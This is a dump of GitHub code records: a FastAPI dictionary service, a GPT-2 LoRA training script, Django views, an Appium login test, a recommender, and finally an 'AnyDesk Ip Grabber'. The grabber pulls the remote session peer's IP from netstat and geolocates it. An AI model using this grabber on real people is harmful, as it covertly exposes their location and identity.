"usage_type": "call"}, {"api_name": "altair.Column", "line_number": 197, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 207, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 219, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 224, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 225, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 226, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 226, "usage_type": "call"}, {"api_name": "altair.Color", "line_number": 227, "usage_type": "call"}, {"api_name": "altair.Scale", "line_number": 231, "usage_type": "call"}, {"api_name": "altair.Tooltip", "line_number": 232, "usage_type": "call"}, {"api_name": "altair.Column", "line_number": 237, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 274, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 284, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 285, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 287, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 287, "usage_type": "call"}, {"api_name": "altair.Color", "line_number": 288, "usage_type": "call"}, {"api_name": "altair.Scale", "line_number": 289, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 294, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 295, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 297, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 300, "usage_type": "call"}, {"api_name": "altair.Scale", "line_number": 301, "usage_type": "call"}, {"api_name": "altair.Color", "line_number": 302, "usage_type": "call"}, {"api_name": "altair.Scale", "line_number": 303, "usage_type": "call"}, {"api_name": "altair.vconcat", "line_number": 307, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 322, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 323, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 325, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 325, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 347, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 348, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 349, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 350, "usage_type": "call"}, {"api_name": "altair.Axis", "line_number": 350, "usage_type": "call"}, {"api_name": "altair.Tooltip", "line_number": 351, "usage_type": "call"}, {"api_name": "altair.Color", "line_number": 352, "usage_type": "call"}, {"api_name": "altair.Scale", "line_number": 356, "usage_type": "call"}, {"api_name": "altair.Text", "line_number": 357, "usage_type": "call"}, {"api_name": "altair.hconcat", "line_number": 371, "usage_type": "call"}, {"api_name": "altair.hconcat", "line_number": 377, "usage_type": "call"}, {"api_name": "altair.hconcat", "line_number": 383, "usage_type": "call"}, {"api_name": "altair.vconcat", "line_number": 387, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 405, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 422, "usage_type": "call"}, {"api_name": "os.path", "line_number": 422, "usage_type": "attribute"}, {"api_name": "tensorflow.io.gfile.GFile", "line_number": 426, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 426, "usage_type": "attribute"}]} {"seq_id": "72208599584", "text": "import random\nimport pandas as pd\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\n\n\napp = FastAPI()\n\norigins = [\"*\"]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n\n\n# Load csv file\nnba = pd.read_csv(\"DIct.csv\")\n\n@app.get(\"/\")\nasync def root():\n # Generate 5 random numbers between 0 and len(nba)\n random_numbers = random.sample(range(0, len(nba)), 5)\n # Create a list of dictionaries containing the randomly selected rows\n word_list = []\n for i in random_numbers:\n row_dict = nba.loc[[i]].to_dict(orient='records')[0]\n word_list.append(row_dict)\n return {\"words\": word_list}\n\n@app.post(\"/word\")\nasync def get_word_meaning(input_word: str):\n # Load dictionary DataFrame\n columns = ['english_word', 'malayalam_definition']\n df = pd.read_csv(\"DIct.csv\", header=None, names=columns, skiprows=1)\n\n # Convert input word to lowercase\n input_word = input_word.strip().lower()\n\n # Find all rows that contain the input word or sub-word\n result = df.loc[df['english_word'].str.lower().str.contains(input_word)]\n\n # If rows are found, return the meanings\n if not result.empty:\n # Filter rows that contain the exact input word\n exact_matches = result[result['english_word'].str.lower() == input_word]\n if not exact_matches.empty:\n meanings = exact_matches['malayalam_definition'].tolist()\n return {\"word\": input_word.capitalize(), \"meaning\": meanings}\n\n # Filter rows that contain the input word as a sub-word\n subword_matches = result[result['english_word'].str.lower() != input_word]\n if not subword_matches.empty:\n word_list = subword_matches['english_word'].tolist()[:5]\n meaning_list = subword_matches['malayalam_definition'].tolist()[:5]\n word_meaning_list = [{\"word\": word, \"meaning\": meaning} for word, meaning in zip(word_list, meaning_list)]\n return {\"words\": word_meaning_list}\n else:\n return {\"message\": \"Word not found in dictionary\"}\n", "repo_name": "eldhopaulose/Daily-words", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2146, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "fastapi.FastAPI", "line_number": 7, "usage_type": "call"}, {"api_name": "fastapi.middleware.cors.CORSMiddleware", "line_number": 12, "usage_type": "argument"}, {"api_name": "pandas.read_csv", "line_number": 22, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 39, "usage_type": "call"}]} {"seq_id": "73239098144", "text": "from datasets import load_dataset\nimport torch\nfrom tqdm import tqdm\nfrom torch.optim import AdamW\nfrom torch.utils.data import DataLoader\nfrom utils import plot_loss_curve, plot_lr_curve\nfrom datasets import load_dataset\nfrom transformers import GPT2Tokenizer, GPT2LMHeadModel\nimport torch.cuda.amp as amp\nfrom transformers import DataCollatorForLanguageModeling\nimport argparse\nimport os\nimport numpy as np\nimport loralib as lora\nfrom peft import LoraConfig, get_peft_model, PeftModel, PeftModelForCausalLM\n# If the dataset is gated/private, make sure you have run huggingface-cli login\n\ntorch.cuda.empty_cache()\n\nPATH = os.environ['HF_CHECKPOINT']\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--resume', default='', help='path to latest checkpoint pytorch style')\nparser.add_argument('--export', default='LoRA/checkpoint.pt', help='path to save checkpoint pytorch style')\nparser.add_argument('--lora', default='LoRA/lora', help='path to save lora checkpoint from model.save_pretrained method')\nparser.add_argument('--save', default='LoRA/upload', help='path to the folder to upload to huggingface')\nparser.add_argument('--epoch', default=5, help='number of epochs to train')\nparser.add_argument('--batch_size', default=2, help='batch size')\nparser.add_argument('--lr', default=5e-5, help='learning rate')\nparser.add_argument('--num_workers', default=4, help='number of workers')\nparser.add_argument('--test_size', default=0.05, help='test size')\nparser.add_argument('--samples', default=int(1e5), help='number of samples')\nparser.add_argument('--merge', default=True, help='merge model')\nparser.add_argument('--test_every', default=int(5e3), help='do inference every n samples')\nparser.add_argument('--infer', default='What is a computer?', help='message to send when inferring')\nargs = parser.parse_args()\n\n\ndef get_conversation(dataset):\n formatted_conversations = []\n for i in range(len(dataset['conversation']) - 1):\n if dataset['conversation'][i]['content'] != '' and dataset['conversation'][i + 1]['content'] != '':\n formatted_conversations.append(f\"<{dataset['conversation'][i]['role'].upper()}> {dataset['conversation'][i]['content']}\")\n text = ' '.join(formatted_conversations)\n return {'text': text}\n\n\ndef tokenize_function(datasets):\n return tokenizer(datasets['text'],padding=True,truncation=True, return_tensors=\"pt\",max_length=1024)\n\ndef tokenized_dataset():\n dataset = load_dataset('lmsys/lmsys-chat-1m',split='train')\n dataset = dataset.filter(lambda x: x[\"language\"] == 'English')\n if args.samples != 0:\n dataset = dataset.select(range(args.samples))\n dataset = dataset.map(get_conversation,remove_columns=[\"conversation\"])\n dataset = dataset.map(tokenize_function, batched=True,batch_size=10000,num_proc=4)\n dataset.set_format(type='torch', columns=['input_ids','attention_mask'])\n return dataset\n\ndef infer(inp):\n inp = \"\" + inp + \"\"\n token = tokenizer(inp, return_tensors=\"pt\")\n X = token[\"input_ids\"].to(device)\n a = token[\"attention_mask\"].to(device)\n output = model.generate(input_ids=X,attention_mask = a,pad_token_id=tokenizer.eos_token_id,max_new_tokens=128,repetition_penalty=2.0)\n output = tokenizer.decode(output[0])\n return output\n\n\ndef save():\n \"\"\"\n Saves the LoRA model to the specified path and prints the path to the console. If the `merge` flag is set to True,\n also saves the merged model to the specified path and prints the path to the console.\n \"\"\"\n model.save_pretrained(os.path.join(PATH,args.lora))\n print(\"Lora model saved to {}\".format(os.path.join(PATH,args.lora)))\n ###### save model ######\n if args.merge == True:\n merge_model = model.merge_and_unload()\n merge_model.save_pretrained(os.path.join(PATH,args.save))\n # save the merged model and the lora model\n # model_to_merge = PeftModel.from_pretrained(GPT2LMHeadModel.from_pretrained(\"gpt2\").to(device),os.path.join(PATH,args.lora))\n # merged_model = model_to_merge.merge_and_unload()\n # merged_model.save_pretrained(os.path.join(PATH,args.save))\n print(\"Model saved to {} waiting to upload\".format(os.path.join(PATH,args.save)))\n \ndef train():\n \"\"\"\n Trains the GPT-2 model using the specified training and validation dataloaders, and saves the best model checkpoint based on validation loss.\n\n Returns:\n None\n \"\"\"\n history = []\n best_loss = np.inf\n start_epoch = 1\n if args.resume:\n if os.path.isfile(os.path.join(PATH,args.resume)):\n print(\"===> loading checkpoints '{}'\".format(os.path.join(PATH,args.resume)))\n print(\"===> Peft model loaded from '{}'\".format(os.path.join(PATH,args.lora)))\n checkpoint = torch.load(os.path.join(PATH,args.resume))\n model.load_state_dict(checkpoint['model'],strict=False)\n optimizer.load_state_dict(checkpoint['optimizer'])\n start_epoch = checkpoint['epoch']\n history = checkpoint['history']\n best_loss = checkpoint['best_loss']\n # model.from_pretrained(GPT2LMHeadModel.from_pretrained(\"gpt2\").to(device),os.path.join(PATH,args.lora))\n # print(\"checkpoint loaded: epoch = {}, best loss = {}\".format(start_epoch,best_loss))\n else:\n print(\"===> no models found at '{}'\".format(args.resume))\n\n #train\n scaler = amp.GradScaler()\n for epoch in range(start_epoch,args.epoch + 1):\n print(\"epoch: \", epoch)\n result = {'train_loss': [], 'valid_loss': [], 'lrs': [], 'best_loss': best_loss}\n model.train()\n train_loss = 0\n for i in enumerate(tqdm(train_dataloader)):\n idx = i[0]\n batch = i[1]\n token = batch['input_ids'].to(device)\n mask = batch['attention_mask'].to(device)\n optimizer.zero_grad()\n with amp.autocast():\n loss = model(token, attention_mask=mask, labels=token).loss\n train_loss += loss.item()\n scaler.scale(loss).backward()\n scaler.step(optimizer)\n scaler.update()\n # args.test_every//args.batch_size\n if idx%(args.test_every) == 0:\n print(infer(args.infer))\n\n train_loss /= len(train_dataloader)\n\n model.eval()\n with torch.no_grad():\n valid_loss = 0\n for batch in tqdm(val_dataloader):\n token = batch['input_ids'].to(device)\n mask = batch['attention_mask'].to(device)\n loss = model(token, attention_mask=mask, labels=token).loss\n valid_loss += loss.item()\n valid_loss /= len(val_dataloader)\n\n if valid_loss < best_loss:\n best_loss = valid_loss\n model_out_path = os.path.join(PATH, args.export)\n state = {\"epoch\": epoch,\n \"model\": model.state_dict(),\n \"optimizer\": optimizer.state_dict(),\n \"best_loss\": best_loss,\n \"history\": history}\n torch.save(state, model_out_path)\n \n print(\"===> Checkpoint saved to {}\".format(model_out_path))\n model.save_pretrained(os.path.join(PATH,args.lora))\n print(\"Lora model saved to {}\".format(os.path.join(PATH,args.lora)))\n \n result['train_loss'].append(train_loss)\n result['valid_loss'].append(valid_loss)\n result['lrs'].append(optimizer.param_groups[0]['lr'])\n result['best_loss'] = best_loss\n history.append(result)\n\n print('Train Loss: {:.4f}'.format(train_loss))\n print('Val Loss: {:.4f}'.format(valid_loss))\n print(infer(\"Hello, how are you?\"))\n plot_loss_curve(history)\n plot_lr_curve(history)\n\n print(\"Training done! model saved to {} with best loss {:.4f}\".format(os.path.join(PATH,args.lora),best_loss))\n\n\nif __name__ == '__main__':\n # set device\n device = \"cuda:1\" if torch.cuda.is_available() else \"cpu\"\n # set tokenizer\n tokenizer = GPT2Tokenizer.from_pretrained('gpt2',bos_token='', eos_token='', pad_token='')\n tokenizer.add_tokens([\"\",\"\"])\n # collator\n data_collator = DataCollatorForLanguageModeling(tokenizer=tokenizer, mlm=False)\n\n dataset = tokenized_dataset()\n dataset = dataset.train_test_split(test_size=args.test_size, shuffle=True)\n train_ds = dataset['train']\n test_ds = dataset['test']\n # DataLoader\n train_dataloader = DataLoader(train_ds, shuffle=True, batch_size=args.batch_size, num_workers=args.num_workers, collate_fn=data_collator)\n val_dataloader = DataLoader(test_ds, batch_size=args.batch_size,shuffle=True, num_workers=args.num_workers, collate_fn=data_collator)\n\n # model\n model = GPT2LMHeadModel.from_pretrained(\"gpt2\").to(device)\n model.resize_token_embeddings(len(tokenizer))\n model = model.to(device)\n\n for param in model.parameters():\n param.requires_grad = False # freeze the model - train adapters later\n if param.ndim == 1:\n # cast the small parameters (e.g. layernorm) to fp32 for stability\n param.data = param.data.to(torch.float32)\n\n # add adapters\n config = LoraConfig(\n r=16, #attention heads\n lora_alpha=32, #alpha scaling\n fan_in_fan_out = True,\n lora_dropout=0.05,\n bias=\"none\",\n task_type=\"CAUSAL_LM\" # set this for CLM or Seq2Seq\n )\n\n model = PeftModelForCausalLM(model, config)\n model.print_trainable_parameters()\n\n # optimizer\n optimizer = AdamW(model.parameters(), lr=args.lr)\n train()\n save()", "repo_name": "Benchangatrul284/LoRA", "sub_path": "chat.py", "file_name": "chat.py", "file_ext": "py", "file_size_in_byte": 9652, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.cuda.empty_cache", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 20, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "datasets.load_dataset", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "torch.cuda.amp.GradScaler", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.cuda.amp", "line_number": 114, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.cuda.amp.autocast", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.cuda.amp", "line_number": 126, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 139, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path", "line_number": 150, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path", "line_number": 159, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path", "line_number": 160, "usage_type": "attribute"}, {"api_name": "utils.plot_loss_curve", "line_number": 171, "usage_type": "call"}, {"api_name": "utils.plot_lr_curve", "line_number": 172, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 174, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 179, "usage_type": "attribute"}, {"api_name": "transformers.GPT2Tokenizer.from_pretrained", "line_number": 181, "usage_type": "call"}, {"api_name": "transformers.GPT2Tokenizer", "line_number": 181, "usage_type": "name"}, {"api_name": "transformers.DataCollatorForLanguageModeling", "line_number": 184, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 192, "usage_type": "call"}, {"api_name": "transformers.GPT2LMHeadModel.from_pretrained", "line_number": 195, "usage_type": "call"}, {"api_name": "transformers.GPT2LMHeadModel", "line_number": 195, "usage_type": "name"}, {"api_name": "torch.float32", "line_number": 203, "usage_type": "attribute"}, {"api_name": "peft.LoraConfig", "line_number": 206, "usage_type": "call"}, {"api_name": "peft.PeftModelForCausalLM", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.optim.AdamW", "line_number": 219, "usage_type": "call"}]} {"seq_id": "35239335327", "text": "from django.shortcuts import render, HttpResponse, redirect\nfrom django.contrib import messages\nfrom .models import Show\nimport datetime\n\ndef index(request):\n context = {\n \"allshows\": Show.objects.all().values()\n }\n #print(context)\n return render(request, \"watch/index.html\", context)\n\ndef showpage(request, showid):\n context = {\n \"theshow\": Show.objects.get(id=showid)\n }\n return render(request, \"watch/read.html\", context)\n\n#Show editor\ndef editpage(request, editid):\n context = {\n \"editshow\": Show.objects.get(id=editid)\n }\n return render(request, \"watch/edit.html\", context)\n\n#Show edits\ndef editedshow(request):\n if request.method == \"POST\":\n idshow = request.POST[\"showid\"]\n thisshow = Show.objects.get(id=idshow)\n\n errors = Show.objects.edit_validator(request.POST)\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n return redirect(\"/shows/\"+idshow+\"/edit\")\n else:\n ti = request.POST[\"title\"]\n ne = request.POST[\"network\"]\n de = request.POST[\"description\"]\n da = request.POST[\"date\"]\n thisshow.title = ti\n thisshow.network = ne\n thisshow.desc = de\n if not len(da) < 10:\n thisshow.release = da\n thisshow.save()\n return redirect(\"/shows/\"+idshow)\n\n#Show creator\ndef createpage(request):\n return render(request, \"watch/new.html\")\n\n#New show\ndef newshow(request):\n if request.method == \"POST\":\n errors = Show.objects.add_validator(request.POST)\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request, value)\n return redirect(\"/shows/create\")\n else:\n ti = request.POST[\"title\"]\n ne = request.POST[\"network\"]\n da = request.POST[\"date\"]\n de = request.POST[\"description\"]\n Show.objects.create(title=ti, network=ne, release=da, desc=de)\n return redirect(\"/shows\")\n\ndef deleteshow(request, deleteid):\n Show.objects.get(id=deleteid).delete()\n return redirect(\"/shows\")", "repo_name": "joeantlin/tv_shows", "sub_path": "apps/watch/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2215, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.Show.objects.all", "line_number": 8, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 8, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 11, "usage_type": "call"}, {"api_name": "models.Show.objects.get", "line_number": 15, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 15, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 17, "usage_type": "call"}, {"api_name": "models.Show.objects.get", "line_number": 22, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 22, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 24, "usage_type": "call"}, {"api_name": "models.Show.objects.get", "line_number": 30, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 30, "usage_type": "name"}, {"api_name": "models.Show.objects.edit_validator", "line_number": 32, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 32, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 35, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 35, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 36, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 48, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 52, "usage_type": "call"}, {"api_name": "models.Show.objects.add_validator", "line_number": 57, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 57, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 57, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 60, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 60, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 61, "usage_type": "call"}, {"api_name": "models.Show.objects.create", "line_number": 67, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 67, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 67, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 68, "usage_type": "call"}, {"api_name": "models.Show.objects.get", "line_number": 71, "usage_type": "call"}, {"api_name": "models.Show.objects", "line_number": 71, "usage_type": "attribute"}, {"api_name": "models.Show", "line_number": 71, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 72, "usage_type": "call"}]} {"seq_id": "74797713824", "text": "from base.read_Data import read_data\nfrom base.init_driver import init_driver\nfrom pages.page_obj import Page_obj\nimport pytest, allure\nfrom base.public_var import screenshot_path\nimport os, time\n\n\ndef get_test_data():\n data_list = []\n datas = read_data(\"phone_login.yaml\").get(\"phone_login\")\n print(datas)\n for k in datas.keys():\n data_list.append((k, datas.get(k).get('phone_no'),\n datas.get(k).get(\"vervify_code\"),\n datas.get(k).get(\"expected\")))\n return data_list\n\n\nclass Test_phone_login:\n def setup_class(self):\n self.driver = init_driver()\n self.page_obj = Page_obj(self.driver)\n\n def teardown_class(self):\n self.driver.quit()\n\n @allure.step(title=\"点击手机号登录\")\n @pytest.fixture()\n def click_login_method(self):\n self.page_obj.re_login_method_page().click_phone_login()\n\n @allure.step(title=\"输入手机号登录信息\")\n @pytest.mark.usefixtures(\"click_login_method\")\n @pytest.mark.parametrize(\"case_no,phone_no,vervify_code,expected\", get_test_data())\n def test_input_user_info(self, case_no, phone_no, vervify_code, expected):\n self.page_obj.re_phone_login_page().input_user_info(phone_no, vervify_code)\n time.sleep(2)\n assert expected == self.page_obj.re_phone_login_page().find_search_button()\n file_path = os.path.join(screenshot_path,\n self.__class__.__name__ + \"_%s.png\" % (time.strftime(\"%y_%d_%d__%H_%M_%S\")))\n # print(\"file_path:\",file_path)\n self.page_obj.re_phone_login_page().screen_shot(file_path)\n", "repo_name": "reyinever/appAutoTest", "sub_path": "scripts/test_phone_login.py", "file_name": "test_phone_login.py", "file_ext": "py", "file_size_in_byte": 1633, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "base.read_Data.read_data", "line_number": 11, "usage_type": "call"}, {"api_name": "base.init_driver.init_driver", "line_number": 22, "usage_type": "call"}, {"api_name": "pages.page_obj.Page_obj", "line_number": 23, "usage_type": "call"}, {"api_name": "allure.step", "line_number": 28, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 29, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "base.public_var.screenshot_path", "line_number": 40, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 41, "usage_type": "call"}, {"api_name": "allure.step", "line_number": 33, "usage_type": "call"}, {"api_name": "pytest.mark.usefixtures", "line_number": 34, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 35, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 35, "usage_type": "attribute"}]} {"seq_id": "656983500", "text": "from collections import Counter\nfrom data import users_interests\n\n\ndef get_popular_interests():\n return Counter(\n interest for user_interests in users_interests for interest in user_interests\n ).most_common()\n\n\ndef most_popular_new_interests(user_interests, max_results=5):\n suggestions = [\n (interest, frequency)\n for interest, frequency in get_popular_interests()\n if interest not in user_interests\n ]\n\n return suggestions[:max_results]\n\n\ndef main():\n print(most_popular_new_interests(users_interests[0]))\n print(most_popular_new_interests(users_interests[3]))\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "farooq-teqniqly/reccomenders-experiments", "sub_path": "basic/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 652, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.Counter", "line_number": 6, "usage_type": "call"}, {"api_name": "data.users_interests", "line_number": 7, "usage_type": "name"}, {"api_name": "data.users_interests", "line_number": 22, "usage_type": "name"}, {"api_name": "data.users_interests", "line_number": 23, "usage_type": "name"}]} {"seq_id": "16383344607", "text": "import subprocess, colorama, requests, base64, os\r\n\r\nos.system('@title AnyDesk Ip Grabber | by zReeaper1337 && cls')\r\n\r\nfrom colorama import Fore, Style\r\n\r\ncolorama.init()\r\n\r\nanydesk_pids = []\r\nanydesk_address = {}\r\nip_addr = []\r\nold_port = 0\r\nold_ip = ''\r\n\r\n# banner\r\nprint(\"Made by zReeaper1337\")\r\nprint(\"GitHub https://github.com/zReeaper1337\")\r\nprint(\"Discord zReeaper#1337\")\r\n\r\nwhile 1:\r\n\ttry:\r\n\t\tif str(subprocess.check_output(\"tasklist\")).count('AnyDesk') <= 3:\r\n\t\t\tpass\r\n\t\telse:\r\n\t\t\tfor line in str(subprocess.check_output(\"tasklist\")).replace('b\"', '\"').replace('\\\\r', '').replace('\\\\n', '\\n').split('\\n'):\r\n\t\t\t\tif 'AnyDesk' in line:\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tanydesk_pids.append(line.split('.exe')[1].split()[0].replace(' ', ''))\r\n\t\t\t\t\t\t\r\n\t\t\t\t\texcept Exception as e:\r\n\t\t\t\t\t\tpass\r\n\t\t\tnstats_output_lines = str(subprocess.check_output('netstat -p TCP -n -a -o')).replace('b\"', '\"').replace('\\\\r', '').replace('\\\\n', '\\n').split('\\n')\r\n\t\t\tfor pid in anydesk_pids:\r\n\t\t\t\tfor line in nstats_output_lines:\r\n\t\t\t\t\tif pid in line and not 'LISTENING' in line:\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tparts = line.split()\r\n\t\t\t\t\t\t\tprotocol = parts[0]\r\n\t\t\t\t\t\t\tlocal_addr = parts[1]\r\n\t\t\t\t\t\t\tremote_addr = parts[2].split(':')[0]\r\n\t\t\t\t\t\t\tremote_port = parts[2].split(':')[1]\r\n\t\t\t\t\t\t\tanydesk_address[remote_addr] = int(remote_port)\r\n\t\t\t\t\t\texcept Exception as e:\r\n\t\t\t\t\t\t\tprint(e)\r\n\t\t\tfor ip, port in anydesk_address.items():\r\n\t\t\t\tif int(port) > old_port and not '169.254.' in ip:\r\n\t\t\t\t\told_port = int(port)\r\n\t\t\t\t\told_ip = ip\r\n\t\t\tremote_ip = old_ip\r\n\t\t\tremote_port = old_port\r\n\t\t\tprint(f'{Fore.GREEN} connection established!')\r\n\t\t\ttry:\r\n\t\t\t\tjson_data = requests.get(f'http://extreme-ip-lookup.com/json/' + remote_ip).json()\r\n\t\t\t\tprint(Style.BRIGHT + '''\r\n{12}╔════════════════════════════════════════════╗\r\n{12}║ {13}IP{14}:{13} {0}{6} {12}║ \r\n{12}║ {13}Country{14}:{13} {1}{7} {12}║ \r\n{12}║ {13}City{14}:{13} {2}{8} {12}║ \r\n{12}║ {13}ISP{14}:{13} {3}{9} {12}║ \r\n{12}║ {13}Lat{14}:{13} {4}{10} {12}║ \r\n{12}║ {13}Lon{14}:{13} {5}{11} {12}║ \r\n{12}╚════════════════════════════════════════════╝\r\n\t\t\t\t'''.format(json_data['query'], json_data['country'], json_data['city'], json_data['isp'], json_data['lat'], json_data['lon'], (' ' * (38 - int(len(json_data['query'])))), (' ' * (33 - int(len(json_data['country'])))), (' ' * (36 - int(len(json_data['city'])))), (' ' * (37 - int(len(json_data['isp'])))), (' ' * (37 - int(len(json_data['lat'])))), (' ' * (37 - int(len(json_data['lon'])))),Fore.RED, Fore.WHITE, Fore.BLACK))\r\n\t\t\texcept:\r\n\t\t\t\tprint('hum.')\r\n\t\t\tinput('press \\'enter\\' to continue...')\r\n\t\t\texit()\r\n\texcept KeyboardInterrupt:\r\n\t\tprint('ctrl+c'); exit()\r\n\r\n", "repo_name": "zReeaper1337/Anydesk-Ip-Grabber", "sub_path": "Anydesk ip 